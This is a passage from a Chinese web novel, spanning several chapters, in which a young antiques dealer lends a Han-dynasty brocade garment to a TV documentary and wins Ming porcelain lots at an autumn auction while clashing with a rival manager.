约定时间一到,咚咚咚的敲门声随之响起。 萧妧妧庆幸自己早做好准备，整理一下衣服开门迎接客人。 打头阵的男人五大三粗，络腮胡子布满下颌，半长发扎成揪揪坠在后脑勺,十分符合她对导演这一职业的刻板印象。 身后还有一人,40来岁的中年人,黑框眼镜架在鼻梁上,一副斯文模样。 萧妧妧来回一打量，很快对上号。 “翟导和刘顾问？” 她做出欢迎手势请人进院。 翟导局促迈进门,将手里两盒月饼放在桌上，“萧老板中秋快乐,抱歉，打扰您和家人团圆了。” 赶在中秋节当天求上门,翟烨也很尴尬，他后知后觉想起这事,但萧妧妧那里已经同意今天碰面。 萧妧妧礼貌寒暄,请人坐下。 两人客气一番,一落座忙不迭说起正事。 当然,在说正事之前,他们先自我介绍，再证明一下身份。 证件造假太容易，翟导给她看一眼工作证后，又掏出平板,把前几季和最新一季的节目方案、素材、脚本等制作内容拿出来。 萧妧妧粗略看过一些素材，着重关注了第四季的制作计划。 大到整体规划,小到每集的文案,通通展现在她眼前。 萧妧妧花了十分钟不到,确认两人身份的同时也对节目有了更多了解。 她时间紧凑，无意拉扯，开门见山道：“翟导的来意我已经明白了，老实说，我非常愿意出借汉锦参与到这么一项有特别意义的节目。” 翟烨肉眼可见的激动起来，搓着手连声说谢。 萧妧妧将准备好的鉴定报告递过去，以及传承记录。 刘顾问接了报告细看，翟烨继续和萧妧妧说话。 “感谢萧老板愿意帮忙，我们节目组也会对支持我们的收藏家给予一定的补贴，当然，可能不会很多，多少是个意思。 至于文物的保险、评估，包括运输的费用，全部由节目组承担。” 萧妧妧诧异挑眉，没想到会有补贴。 翟烨拿出补贴详细信息，看到按天算，萧妧妧瞬间失去兴趣。 “但是，我更关心节目组对文物的保护工作。”话锋一转，萧妧妧说起自己关心的重点。 查资料吃到几口瓜，无非是古董借出后不被爱惜，节目拍摄途中产生损坏，然后节目组拒不认赔的情况。 不过……萧妧妧看了看她的汉锦，毕竟是二级文物，节目组应该不会想背官司才对。 翟烨很懂收藏家们的关注点，又拿出一份文件：“萧老板放心，节目拍摄期间，如果您有空可以随时跟组，直到文物完成拍摄。期间演员需要穿上汉锦直裰演绎剧情，大约半小时左右……” 他把拍摄细节一点点拆开讲清楚，免得后续出问题闹得太难看。 文物保护法也是法，做为官方电视台开发文化节目，连对文物最基本的保护和尊重都没有，传出去名声就没了。 翟烨很注重这一点，也愿意把好的坏的情况交待清楚。 萧妧妧喜欢翟烨的坦诚，“您还没亲眼看过汉锦吧？要不要跟我先进店瞧瞧？” 翟烨一拍脑门，粗糙肌肤浮现窘迫的暗红色。 他太兴奋了，一上门就追问文物所有人的意愿，迫切把合作谈下来，汉锦都没顾得上看一眼。 刘顾问笑呵呵解围：“我们一见到您的汉锦就决定用它了，来之前扒着您发的视频看了一宿，现在好了，我们俩总算能见着实物了。” 萧妧妧笑笑，请他们进店。 汉锦挂在桃木龙首衣架上，她特意找申明月要来的古代衣架，为了搭配汉锦。 旁边搭配着屏风、多宝架，看起来十分有古韵。 刘顾问迈进店门先是打量一圈环境，在家具、摆件、翡翠、珠宝等等物品上逗留几秒，咋舌之余，缓缓看向屏风前的衣架。 “嘶……”刘顾问倒吸一口气，忙不迭上前，想碰不敢碰地举着手：“萧老板，您、您就这么敞开放着？” 店内其他古董摆放得挺讲究，远离光源火源，个别贵重古董有专用的专业级别亚克力箱子存放，保证湿度温度不影响古董。 他不敢相信，更娇贵易损坏的汉锦大喇喇暴露在空气里。 刘顾问心在滴血，恨不得扒拉点什么东西罩着它。 萧妧妧挠挠头，难得露出尴尬神色：“这不是刚知道鉴定结果，没来得及准备，您二位放心，你们来之前我可是用无酸纸抱住它，绝对不会污染。” 刘顾问听到这里勉强放下心，絮絮叨叨说：“没折起来吧？折起来容易留痕，不好修复。不过这件保持特别好，上面看不到一点灰尘。我以前修复丝织品的时候，那小刷子一刷，往桶里一涮，水马上黑。 你这件回头挂起来放，就像这样，最好买那种大一点的亚克力箱子罩住……” 萧妧妧看他眼里满满对文物的爱惜，便没打断，差不多的嘱咐又听了一遍。 翟烨低声问：“萧老板，介意我多拍几张照片视频给同事们看看吗？” 肉眼看到底比视频来的震撼。 翟烨不敢相信，眼前这件色泽鲜亮，绣纹清晰繁复，衣料无折痕无破损，还配有腰带、荷包的整套汉锦服饰，来自2000多年前。 说是几十年前织造的仿版他都信，保存得太好了。 萧妧妧做出手势，示意他们随意。 等两人围着汉锦看个够，萧妧妧才问道：“翟导，汉锦送去拍摄之前，我这里还需要准备哪些材料，我想你们节目组应该也需要审核吧？” 翟烨点头，收了手机与她细说：“是的，最重要的是文物来源要清白，我们需要藏家提供传承记录，以及完整的视频资料。我们会先送去统一审核。 审核方面您不用担心，来源没问题的话，节目组的选材基本可以通过。” 他缓一口气，又道：“再就是鉴定报告，您已经有了，收藏评级最好有。然后就是运输许可，我们节目组会帮忙联系单位走流程。还有一些保险，需要您自己和保险公司商量。” 萧妧妧一一记下，发现和她预料的差不多。 送头冠去展览的时候也是这么个流程。 正好这次一并办下来，回头送汉锦参加展览倒省事了。 向翟烨确认过节目组借用期限，萧妧妧马上想好后续如何安排。 当然，未免汉锦中途出意外耽误展览安排，她只能先向崔民表达一下意向。 萧妧妧递上一份文件：“择日不如撞日，流传记录和鉴定报告先给您一份，麻烦您送去审核，” 翟烨愣了好一会，望望萧妧妧，又低头看看文件夹，手掌在衣服上搓了搓才敢接下。 他们谈成了！ 全国博物馆都找不到一件完整像样的汉锦服饰，他们轻易借到了！ 刘顾问瞬间挤出皱巴笑脸，激动之情溢于言表。 和年轻人打交道就是和老油条打交道舒服。 其他收藏家可没她好说话，一边提出各种条件一边要求增加补贴，总之麻烦得很。 当然，如果萧妧妧愿意提要求，他们会想办法满足。 汉锦不一样。 翟烨忙不迭从包里掏出协议送来，生怕萧妧妧反悔。 萧妧妧也挺怕他们反悔，毕竟给文物拍纪录片这种推广形式不多见，可以说是一种全新的合作方式。 双方藏着自己的小心思，一拍即合，愉快签协议。 “合作愉快。”双方攥着盖完章的协议笑眯了眼，友好握手。 送走翟烨和刘顾问，萧妧妧马不停蹄联系保险公司经理。 之前头冠展览以及借古董拍电影时，前后买过不下十几个保险，萧妧妧已然成了大客户，她一说有新的合作，客户经理二话不说带上合同找来。 有鉴定报告和传承记录，保险手续走得相当迅速。 准备出发前往随园，参加本次秋拍的压轴专场时，萧妧妧只剩下送去评级这一件事待完成。 秋拍持续三天，每半天一个专场，中秋当天晚上的专拍则是瓷器专场，用许年华的话来说，这属于压轴大场。 为此，佳博还在邀请函上还特意标注，需着正装、礼服出场。 萧妧妧一边嘀咕佳博挺会折腾，一边耐心配合，挑选合适的礼服。 就当是提前习惯吧，国外不少一二线大拍卖行都有着装上的限制，尤其晚间拍卖，连着酒会一起，不穿礼服门都进不去。 萧妧妧考虑到要随园的距离不远不近，要么走路要么骑史努比，到底没敢选太浮夸的衣服。 好在这次穿的是时装，她总算找到机会显摆一下零元购来的宝石钻石。 经典简约的黑色斜肩礼服裙，既不出挑也不出错，衬得她十分有气质。 脖颈佩戴的项链采用无色钻石作配，20克拉的祖母绿为主石，耳坠是冰糖大小的方钻，和祖母绿造型一致，随着她轻轻摆动脑袋，火彩耀眼刺目。 手腕上只戴了无色钻石手表，戒指是玻璃种帝王绿的马鞍戒。 “乍一看挺低调，仔细一看，完全相反。” 孟甜甜绕着圈打量她，好半晌后给出如此评价。 萧妧妧得意挑眉：“今晚我可是去撒钱的，穿太朴素不合适。” 孟甜甜看她戴着价值千万的珠宝，穿着大师剪裁设计的礼服裙，手里却攥着抹布擦去史努比坐垫上的浮尘，绝望闭眼。 “难道骑电动车就合适了？你买的车呢？” 萧妧妧嘿嘿笑：“不会开。” 驾照是大一暑假凑热闹考的，考完没机会开车，时间久了自然会忘。 萧妧妧打算去试驾的时候才迟钝发觉，遗憾离开。 孟甜甜无语，扶额。 她无所谓地说：“反正都在月牙巷，很方便的。” 萧妧妧忙把手机递给孟甜甜，催促：“快，难得今天盛装打扮，帮我拍漂亮点，我要发朋友圈的。” 孟甜甜扫一眼她身后略显违和的史努比，笑不出来。 “史努比救过你的命吗？” 她嘴里这么嘀咕，却还是依言蹲下，调整镜头。 216 第216章 ◎捡漏王◎ 随园主院,往常清幽的小院在今日变得热闹非凡。 长廊下，水流上，屋檐角，到处悬挂带有中秋元素的纸灯笼。 明明是充满金钱味道的拍卖会,这么一妆点,倒有点温馨文雅的艺术氛围。 直到萧妧妧进入大厅办理登记后,营造了一路的氛围彻底消失。 放眼望去,衣冠楚楚的成年人们端着香槟你来我往的热络社交。 看他们的神态，不难分辨出来这又是一个熟人场。 萧妧妧找了一圈,还真让她看见几个熟人。 孟有树、张老板、周逸老师、秦教授…… 这些是打过交道的熟人，没打过交道但认识的人也不少,比如黎行聿带她参加过的茶话会，那一桌十几人,今天让她看见三四个。 还有打过交道但是不对盘的人，比如金玉轩经理齐小文。 更多是她认不出来,但看上去不太简单的人。 萧妧妧转了半圈,没看见许年华却意外见到了黎行墨。 他终于旷工失败了？ 黎行墨恰好也看见了她,提起酒杯遥敬,萧妧妧举杯回应。 没什么社交的需求,萧妧妧绕着长桌选了几样点心，等拍卖正式开始大杀四方。 “妧妧。” 她才刚坐下，黎行聿的声音从身侧方向传来，萧妧妧不禁庆幸自己没有冲动戳破窗户纸。 她调整表情,神色如常的侧身看过去。 黎行聿穿了一身白色西装，不知道是裁剪不同还是设计如此,看起来没有一点商务感,反而多添两分潇洒清俊。 萧妧妧上下打量,眼神落在他身上好几秒，缓步走来的黎行聿情不自禁弯起唇角。 随着他走近，萧妧妧跟着露出轻微笑意。 不为别的，为他领带上的狗头领带夹，以及两枚狗头袖扣。 就还挺有意思的。 萧妧妧放下手里点心，因为黎行聿招手示意她过去。 “怎么了？”她问。 黎行聿低声说：“介绍几个人给你认识。” 萧妧妧一听，不自觉端起架子。 “随便聊聊，不用太紧张。” 话是这么说，萧妧妧却做不到像他这样游刃有余。 百来号人的场合，她认识的加起来不超过20人，剩下的全不认识，还有些金发碧眼的外国人。 黎行聿依旧压低声音：“左前方棕色头发的是嘉逸轩老板，和他说话的男人是京城瓷骨堂的创始人。” 嘉逸轩、瓷骨堂，乍一听以为是哪个风雅的江湖门派，其实全是圈子里小有名气的古董收藏机构。 黎行聿并没有带她去认识他们的打算，只简单介绍一下他们的身份。 什么某某国际艺术展的创始人，收藏家协会会员，藏有哪些古董艺术品，又或是某某协会主.席，某某艺术协会顾问，某某美术馆创始人，以及艺术品投资顾问等。 萧妧妧咋舌，听起来都很有来头。 黎行聿领她往另一处走，道：“前面头发花白的男人看到了吗？现任收藏家协会主席，姓肖，喜欢字画，最近偏爱瓷器。” 萧妧妧了然，跟着黎行聿的步伐大步走去，尽量表现得松弛。 等肖主.席的眼神注意到这里，萧妧妧主动握手打招呼。 “我知道你，不破斋的萧老板，最近没少听人提起你。” 看起来严肃的收藏家协会的主.席意外好说话，和蔼语气与两人寒暄。 不管肖主.席说的是真是假，萧妧妧很意外。 她已经这么有名了？ 黎行聿笑着回应：“证书的事还要感谢您通融。” 萧妧妧恍然，紧跟着向肖主.席表达谢意。 打过招呼混个脸熟，黎行聿又带她认识之前提起过的美术馆创始人，同时也是收藏圈的知名藏家，往上数三代都是名人的那种。 萧妧妧无法拒绝黎行聿的好意，强打起精神跟上。 “小丫头最近很有势头嘛，老周都没抢过你，后生可畏啊。”邝馆长审视她一番，笑呵呵握手。 萧妧妧更意外了，扬起笑容谦虚几句。 与美术馆创始人分开后，萧妧妧忍不住和黎行聿小声嘀咕。 “他们到底听说我什么了？外头怎么传我的？” 萧妧妧确实在为知名藏家的身份努力，但目前而言，她不觉得自己努力出什么成果。 可这一圈转下来，一个两个都表示听说过她，萧妧妧茫然不已。 “你不知道？” “我该知道什么？” 黎行聿将她带到一边细说：“我对古董圈关注不多，孟董提过几句，我以为他跟你说过。” “不会是因为古董和翡翠吧，所以……我火了？”萧妧妧大胆猜测。 “差不多吧。” 萧妧妧满脸困惑，等他下文。 黎行聿继续解释：“翡翠和古董两个圈子重合度很高，不破斋在翡翠圈以黑马之姿异军突起，引起圈内人关注。 不管玩不玩翡翠的人，都已经认定不破斋，你应该能感受到才对。” 萧妧妧点点头，这事她心里有数，最近有几家大珠宝商都来下订单，点名要顶级好货，还打算和她签优先选购协议。 萧妧妧正在为汉锦的事忙前忙后，那几条私信没来得及理会。 她想，一开始走低价打口碑这条路，走得很对。 连黎行聿都说不破斋已经成了不少人买翡翠的首选。 “只有翡翠的话，在古董圈应该不会让这么多人认识我。”她继续追问。 翡翠和古董说起来差不多，想要在圈子里混出名堂，要么手里有顶尖好货，要么有毒辣眼光，要么就学某些藏家，花高价营销，哗众取宠。 黎行聿笑言：“不止翡翠，你忘了斗彩葫芦瓶？周老师说你是捡漏王。” 萧妧妧依旧茫然：“就因为它？很厉害吗？” 能捡着这么个大漏，萧妧妧当然骄傲得意，除此之外，她没觉得有多特别，普通捡漏水平吧。 她曾花十块大洋买来青花缸、紫檀佛公、虚谷真迹等，也曾花千元左右的价格捡别人不要的废料，开出冰红紫。 斗彩葫芦瓶在她捡过的漏里，排不上号。 萧妧妧自觉自己进入古董圈不久，这点捡漏经历对老藏家来说不算什么，比她会捡漏的大有人在。 黎行聿嗯了一声，“很厉害。” 古董圈年年有捡大漏的消息传出来，真真假假分不清。 而在这些所谓的漏里，大多有争议。 萧妧妧的捡漏不一样，知名收藏家周逸先生亲眼见证。 到他这个年纪、地位，与漏失之交臂，甚至被年轻人捡漏，属实罕见，每每见着老朋友就要把这事翻出来当笑话讲。 何况萧妧妧前脚才从秦教授几人手里抢先买走文徵明扇面，刚被几个老教授宣扬出去，后脚又来一个斗彩葫芦瓶。 捡漏消息年年有，这么密的少见。 收藏圈说大不大说小不小，消息藏不住，不过半月时间，两条捡漏的消息传遍圈子，萧妧妧三*个字自此传到圈里各位的耳朵里，大家羡慕得眼睛通红。 古董圈的人有时候挺迷的，相信命相信运，更相信知识。 接二连三捡到大漏，不是简单的运气可以概括，他们坚信萧妧妧有过人的知识储备以及老辣的眼光。 具备这两点的大有人在，收藏圈古董圈混出来的那些个就是，但没有一人是在萧妧妧这个年纪做到这两点。 一来二去，大家对萧妧妧产生了好奇，多番打听她的背景。 孟有树知道的算比较多，但也不完全，被人追着问了许多后，不得不找黎行聿打听。 这不，这两天有个挖出汉锦的消息在圈子里疯传，大家一瞧，又是不破斋，又是萧妧妧，对她的好奇心几乎积攒到了顶峰。 每个人都在问，问不破斋什么来路，问萧妧妧什么路数，以前没听说过这号人，怎么突然冒出来了。 萧妧妧傻眼，原来想要在圈子里出名这么简单啊。 那她还苦哈哈的营销什么，经营什么，多钻钻市场捡几个漏好了。 虽然和她预设的出名形式不同，但也算殊途同归。 黎行聿：“别小看自己，这种程度的漏，在圈子里几乎和神话差不多。” 不然怎么会有那么多藏家前赴后继闯小拍卖行、旧货市场，不就为了达成捡漏成就。 低于市场行情买入的可以称之为漏，略低价格买下别人高价入手的勉强可以称之为漏。 可漏分大小，按照漏价幅度、物品价值、稀缺性来划分，萧妧妧捡到的漏，搁在最近七八年里非常难得。 文徵明扇面漏幅不大，但具有收藏潜力，斗彩葫芦瓶实际价值大余成交价，漏幅将近300倍，绝对算得上大漏。 常规捡漏时时有，王炸级别的大漏大家只听说过，怎么能不疯狂。 萧妧妧听着听着面颊浮上绯红，如果有尾巴，此刻大概已经翘上天了。 “你多夸点，我爱听。”萧妧妧笑得脸酸。 黎行聿忍俊不禁，推她肩膀往拍卖厅走。 “好听话多得是，想听我随时说给你听，但现在拍卖要开始了。” 黎行聿示意她看附近架起的大屏，屏幕转播拍卖现场画面，此时拍卖师已然入场，为正式拍卖做准备。 周围陆续有人放下点心，结伴往拍卖厅走。 萧妧妧问：“肖主.席和孟先生他们怎么不着急进去？” 黎行聿扫一眼，道：“他们看上的拍品顺序靠后。” 萧妧妧暗道一声难怪，她刚要收回视线，余光不经意扫过会场门口，然后停顿。 齐小文像换了个人，一副老实憨厚的样子，亦步亦趋跟在一个女人身后。 女人看起来40多，气质出众，只是看起来有点精神不济，身边时刻有人搀扶，齐小文急吼吼想献殷勤，却因为无法靠近，只能排在后面干着急。 黎行聿顺着她目光看去，不由愣了两秒。 217 第217章 ◎只捡漏，不接盘◎ “那两个人你认识吗？” 萧妧妧突然起了好奇心,好奇他们什么关系，能让齐小文变脸。 黎行聿垂眸拧眉，不知道怎么说。 萧妧妧目光落在远处，没注意他的迟疑纠结,略等两秒没听到回应,自动把他的沉默理解否定回答。 这时,齐小文追着气质女人进入拍卖厅,身影消失在他们视线里，萧妧妧便放下好奇心,快步向拍卖厅方向走。 两人选了中间位置落座，坐下之后,萧妧妧反应过来不对。 “你也有东西要拍？” 黎行聿出现在拍卖会很正常，毕竟是老板,只是没想到他会跟着一起进来，好像要参加竞拍似的。 黎行聿笑着摇头：“佳博的事务有小墨,我不插手。今天唯一的任务是陪你参加拍卖,需要注意的地方比较多,有熟悉流程的人陪同更稳妥。” 话说到这份上,萧妧妧想拒绝也不好意思开口了。 何况前面人家刚介绍人给她认识,后脚赶人走，未免有点过河拆桥。 萧妧妧摸摸鼻尖，没吱声，转着竞拍号牌消磨时间。 18点整,竞拍开始，场内座椅大半坐了人。 萧妧妧抛开胡思乱想,直勾勾盯着前方大屏幕。 拍品按顺序依次上拍,她看中的一件明宣德青花折枝花卉葵口碗排在第三个出场,起拍价150万。 对比拍品的市场行情，150万十分有吸引力，竞价刚开始，引来七八人竞争，号牌此起彼伏，拍卖师两次叫错号。 萧妧妧眼睁睁看着150万飞快涨至300万，当叫价来到350万时，竞价速度减缓，只剩下三人进入最后角逐。 “066号还在考虑，81号买家要不要在加一点？ 现在是045号买家出价370万，380万有人出吗？” 价格越叫越高，大家考虑的时间随之增加，拍卖师给买方思考时间的同时，不停使用语言技巧往上抬价。 萧妧妧等了将近半分钟，一直咬着不放的81号买家迟迟没再出手，于是默默举起号牌。 拍卖师：“22号买家出价380万，45号买家要不要继续跟？” 眼看着明宣德的葵口碗差点收入囊中，半路杀出个程咬金，坐在前排的45号买家低咒一声，考虑片刻，再次举牌。 “45号，加30。” 拍卖师愣一秒，迅速道：“45号买家开价410万，还有买家要跟吗？” 拍卖师目光灼灼，依次与参与竞价的几位买家对视。 萧妧妧举牌：“22号，加50。” 清亮女声在安静的拍卖厅响起，大家才知道，原来22号是个年轻女人。 价格飙升至460万，拍卖师露出浅淡笑意：“22号买家开价460万，81号买家跟吗？45号买家要不要再加一点？” 萧妧妧攥紧号牌，默默祈祷45号趁早放弃。 葵口碗市场行情在550-700万之间，上一次送拍落锤价820万，可以说高价买入。 时隔三年不到再次送拍，碍于经济环境影响，估价远不如几年前，萧妧妧只要花不超过600万的价格买下，都算捡漏。 当然，这个漏最终需要通过交易落地，她有耐心等。 十秒、二十秒、三十秒……前排没有一点动静传来。 拍卖师一错不错地盯着45号，见他表情从犹豫迟疑转变为泄气，便知道他放弃了。 “460万最后一次，恭喜22号买家拿下明宣德青花折枝花卉葵口碗。” 咚一声，槌子落下，竞价成功。 萧妧妧松了一口气，掌心在衣服上搓了搓，擦去汗渍。 怪紧张的。 黎行聿侧身对她说：“恭喜，这件葵口碗品相不错，460万买下它很值得。” 萧妧妧笑弯了狐狸眼，“难怪经济环境越不好，大家越是往拍卖行钻。” 买跌不买涨，趁着环境不好，古董价格下跌，大家都来捡漏，所以拍卖业务越发红火。 至于结果是接盘还是捡漏，还是被人捡漏，全看个人运道。 萧妧妧这次是吃到经济下行的红利，搁在经济环境好的时候，不说十几年前，就说一两年前，460万进不去前三名。 大环境不好，各位买家竞价束手束脚，有点谨慎过头。 目前出场的几件拍品，300万之前都热热闹闹的参与，一旦超过300万，竞争者砍一半，超过400万、500万，再砍半。 以上观察结果只适用普通拍品，换成重点拍品又是另一回事了，喊到千万依然多的是人抢。 据萧妧妧所知（听黎行聿说的），许多藏家最近一两年着急出手手里不太精品的收藏，就为了攒一波买个大件，然后赚一笔大的。 走神片刻，台上又拍出3件拍品，下一件又是萧妧妧看中的一款，永乐葡萄盘。 完好无损的永乐葡萄盘全国仅有三件，一件五年前上拍，落锤价3500万，一件上了境外拍卖行，去年拍出1900万。 而眼前的这件是第三件，上一次送拍是四年前，落锤价2100万。 萧妧妧询过价，底价不低，起拍价也不低，1200万。 她环顾四周，又有不少人涌进来落座，看样子是冲着葡萄盘来的。 竞价开始，萧妧妧第一个举牌，她手没放下，前后左右马上有人跟着举牌。 不到一分钟，价格直接来到1450万。 萧妧妧翻开图录瞅一眼笔记，当时给的上限是1800万，超过这个价就不划算了。 她隔一会举一下，价格不知不觉攀到了1540万。 巧合的是，跟她争第一名的还是45号。 拍卖师：“45号买家要不要继续加一点？现在是1540万，22号买家出价1520。” 萧妧妧双手合十，再次祈祷。 “1520万最后一次，恭喜22号买家。” 听到拍卖师的宣判，萧妧妧喜不自禁，连身旁不认识的陌生人都侧目看过来，满眼羡慕。 “1500不贵，丫头，你捡漏了啊。” “可不，市场价2000左右，算上手续费也能赚不少。” “这件我也挺看好的，来之前估摸着1700左右吧，好家伙，1500拿下了。” 萧妧妧笑眯眯，坦然接受大家的羡慕。 黎行聿看了她好一会，等她兴奋劲下去之后，他问：“你真是第一次参加拍卖？” 萧妧妧想了想，神情略带一丝骄傲：“如果你说正儿八经参与竞拍的话，第一次，如果算上那些不太正经的拍卖，这应该是第3次。” 黎行聿轻笑：“看来是我小瞧你了，以你的水平，完全不需要我陪同。” 萧妧妧谦虚开口：“过奖了过奖了，天赋异禀，无师自通而已。还是要感谢黎总百忙之中抽空陪同。” 接下来十几件拍品没有一个她看上的，两人凑在一起低声调侃。 萧妧妧想，有人陪着不全是坏事，至少可以解闷。 有一搭没一搭的闲聊，没多久，一件萧妧妧原本打算下手的釉里红出现了。 她从头关注到尾，听见落槌价340万时，默默感叹一句又有人捡漏了。 但没她捡的漏大。 釉里红之后，更多买家进入拍卖厅，百来张座椅差不多坐满。 萧妧妧挺起腰背，瞪着眼睛看接下来的藏品。 果然，随着明宣德龙纹罐、元官窑仿钧变釉瓶、元官窑仿哥窑贯耳瓶等几件重点拍品出场，竞价进入白热化阶段。 萧妧妧记得它们，名家旧藏，溢价高得离谱。 萧妧妧不乐意为名人溢价买单，纠结了几天最终决定放弃这几件。 她目标明确，只捡漏，不接盘，大冤种谁爱当谁当。 有这个钱，她宁愿拿去托苏娇娇帮她走私。 这次，45号买家终于有所收获，经过将近30轮的竞价，以高出起拍价2000万的价格买下明宣德龙纹罐。 对在座的各位而言，大小算个漏，毕竟是名家旧藏。 到此为止，本次专场的最高成交价不断刷新，前有2300万的变釉瓶，后有3300万的贯耳瓶，没等大家震惊一会，明宣德龙纹罐以4200万落锤价成为目前的最高价。 萧妧妧看得热血澎湃，电话委托果然不如现场围观来得刺激。 之后两件拍品则稍显平庸了些，落锤价不超过千万。 好在没等多久，萧妧妧的另一目标出场了。 龙纹天球瓶，虽来自民藏，算不得重点标，但无疑是本次专场比较受关注的一件拍品。 起拍价意外的高，2300万。 萧妧妧对它的预估是7000-8000万之间，毕竟市场行情也就1亿多点，再高就亏本了，得多压好几年才能赚回来。 不出她预料，竞争天球瓶的买家多不胜数，许多人是本场第一次举牌，可见就冲着它来的。 萧妧妧倍感压力，但也没有特别担心，因为她钱多。 进行到第20轮竞价，价格叫到3900万时，萧妧妧加入战场。 她频频举牌，不管谁加价她都咬上去，追着赶着来到5000万。 5000万是个大关，到此时算上萧妧妧一共4人参与竞争。 短暂交锋过的45号，见过一面的39号邝馆长，合作多次的59号孟有树，以及22号的她。 四人争相举牌，不出两分钟，价格直逼6000万。 “45号买家要不要跟？现在是22号买家出价6040万。” “39号买家考虑好了吗？6060万要吗？” 价格越高，大家越谨慎，考虑时间一点点拉长。 只有22号的萧妧妧不差钱似的，不带一丝犹豫猛猛举牌。 四人里有三人大家都眼熟，唯独22号眼生，拍卖师一遍遍问询时，许多人扭头找22号买家的身影，好奇是何方神圣。 萧妧妧全神贯注盯着前方，顾不上其他人的审视视线。 好一会，59号的孟有树举牌了。 萧妧妧又等了等，45号跟上，出价6080万。 萧妧妧看他们出价犹犹豫豫，估摸着最后能落在6500万左右。 她缓缓举牌：“22号，加100。” 拍卖师喜形于色，激动语气大声说：“好的，22号买家出价6180万，还有更高的吗？45号买家要继续跟吗？” 拍卖师四处撩拨人出价，萧妧妧也差不多，来回盯着另外三个竞争者。 等了约有半分钟，无人举牌，萧妧妧心快跳出嗓子眼，差点坐不住。 “45号，加40。” 拍卖厅沉寂了许久，眼看着要落槌了，45号再次举牌。 拍卖师笑容灿烂：“45号买家出价6220万，22号买家您跟吗？” 萧妧妧对天球瓶势在必得，预留给它的预算也是最高档，6200万远不到她的底线。 萧妧妧几乎不做思考，举牌子参与第一名的角逐。 她刚要抬手，黎行聿按住她手腕，低声提醒：“冷静点，45号跟不了太高，慢慢磨。” 萧妧妧前一轮喊100的时候他就想劝她不要急躁，奈何她速度太快。 出价越慢，代表离预算越近，说明越接近他们的底线，这时越需要她沉下心来，避免胜券在握的心态掌控理智，做出大幅加价这种冲动行为。 萧妧妧顿了顿，话音在喉咙里转了一圈，改口喊道：“22号，加20。” 又回到了原来的节奏里。 拍卖师：“22号出价6240万，有更高的吗？” 似乎比上一轮考虑的时间更长了。 萧妧妧按捺不住的时候，拍卖师笑容满面，咚一声落槌。 “恭喜22号买家，6240万买下明青花九龙闹海图天球瓶，恭喜22号。” 激昂声音落下，掌声稀稀拉拉响起，窃窃私语随后盖过掌声。 “太可惜了，才6200万，七八年前这个价还差不多，真低了。” “是有点低，7000万都低，搁往年，正常应该1亿的。” “我要有钱，我也买天球瓶，6200万买回去纯赚啊，明年春拍再上就能赚回来了。” “22号什么来路啊？是不是坐黎总旁边那个？” “什么意思？人家帮黎总买的？” “应该不是，黎总戴工作证呢，不参与。” “嫉妒啊，根本抢不到，这可是个大漏，这一年啥也不干，净赚。” “要我说45号再加一点拼一把也行，真的就差一点。” 有人羡慕萧妧妧捡漏，有人为天球瓶卖不出实际价格而扼腕，有人为捡漏的不是自己而破防。 更有人好奇22号是谁。 竞拍告一段落，越来越多人起身往后张望，寻找22号买家。 萧妧妧右侧的997号买家第一时间掏出名片搭话。 “恭喜恭喜，您这件宝贝买得太划算了，您贵姓？” 萧妧妧愣了好一会，扫一眼上面“瓷骨堂堂主”几个字，神情微窘，而后扬起微笑交换名片。 “免贵姓萧，不破斋斋主？平时做点古董生意。” 眼前的堂主先生闪过恍然情绪，“不破斋？我知道我知道，拍卖结束后正打算去瞧瞧呢。方便加个月亮号吗？” 萧妧妧又愣了一会，怎么这个也听说过不破斋。 揣着隐秘的雀跃，她掏出手机添加联系方式。 两人没来得及聊太多，司仪上台宣布中场休息，并预告下半场的重点拍品。 司仪和拍卖师相继退场后，抱着话筒的脱口秀演员上台表演节目。 萧妧妧隐约记得这人名气不小呢。 “你们佳博花样挺多啊。”她调侃道。 黎行聿嘴角抽搐：“小墨的主意。” 萧妧妧刚想说他主意不错，头顶一片阴影。 没等她抬头，忽听附近有人热络打招呼。 “呦，齐经理也来了。” “恭喜齐经理买到龙纹罐。唉，超出我预算了，不然我肯定跟你再争一争。” 【作者有话说】 读者“虫子太多好可怕”,灌溉营养液 +5 218 第218章 ◎高能量女生的一天◎ 热热闹闹的寒暄里,萧妧妧捕捉到关键词，下意识仰起脸看去。 所谓的齐经理不是齐小文还能是谁？ 仔细看去，他颇有点气势汹汹的意思，平凡的面容找不到一点憨厚老实的证据,写满了不爽两个字。 他似乎没想到会有人搭话,以至于表情没能及时调整过来,臭脸挤出僵硬笑容,好丑。 萧妧妧怀疑他来找麻烦，因为齐小文就站在两人座位旁的过道上,小眼睛瞄过来好几次。 可她什么也没做。 回想起黎行聿上回对她说过的奇怪话，萧妧妧心情忽然沉下来,狐狸眼充满疑虑，细细端详齐小文。 小眼睛细长,鼻梁挺但鼻头肿，厚嘴唇轻微外翻,眉毛像两条毛毛虫,很凶。 萧妧妧的疑虑稍稍减淡。 太丑了,和她没有一处相似的地方,不可能是她爸。 萧妧妧恶狠狠瞪回去,打算找个机会好好打听一下齐小文。 然而视线偏移，瞥到他捏在手心里的号牌，红底白字写着45两个数字，萧妧妧愣了一会。 45号原来是齐小文啊。 两旁的人见他频频关注22号,识趣离开，齐小文终于找到时机。 “我当哪号人物呢,又是你。” 齐小文牙咬切齿,语气听起来格外的酸,酸味里还夹杂了厌恨。 萧妧妧转念一想，彻底弄明白他为什么找来。 22号和45号在拍卖会上竞争了不下4件拍品，其中备受关注的494号拍品天球瓶竞争最为激烈。 45号出一次价，她跟着出一次价，咬得特别狠。 而两人竞争过的拍品中，大多落入她手。 萧妧妧挺理解他的，难怪要趁中场休息找来一探究竟，这搁谁身上谁能不破防。 只是双方都没想过，她/他就是22/45号。 齐小文主动挑衅，萧妧妧不甘示弱，反唇相讥。 “我当45号是哪个倒霉蛋呢，好久不见啊，齐经理。真是不好意思，抢了你们金玉轩看上的东西。” 她嘴里说着抱歉，眼神没有一点歉意，轻蔑的上下一扫，很不给面子地翻白眼。 对上与嫂子萧雁如有八分相似的眼睛，齐小文怔住。 叶赛宁还真是给他找了个大麻烦回来。 “齐经理，听说金玉轩的董事长回国了，不知道她有没有空，许久没见，我正好去拜访一下。” 齐小文想说些什么回击，冷不丁被人打断输出，皱眉看向萧妧妧身侧的男人。 “黎……黎总？”齐小文大脑空白了一瞬。 他循着声音判断出22号大致方向，司仪宣布中场休息后径直找来。 齐小文运气不错，才走近便看到年轻女人转着写有22数字的号牌乱晃，可惜她忙着和两旁的人交头接耳，看不清样貌。 齐小文大步上前，迫切想知道她是散户还是针对金玉轩、针对他。 他的注意力全放在年轻女人身上，直到站在两人身侧，看清她的脸，齐小文只顾震惊慌乱，根本没想起看一眼她旁边的人是谁。 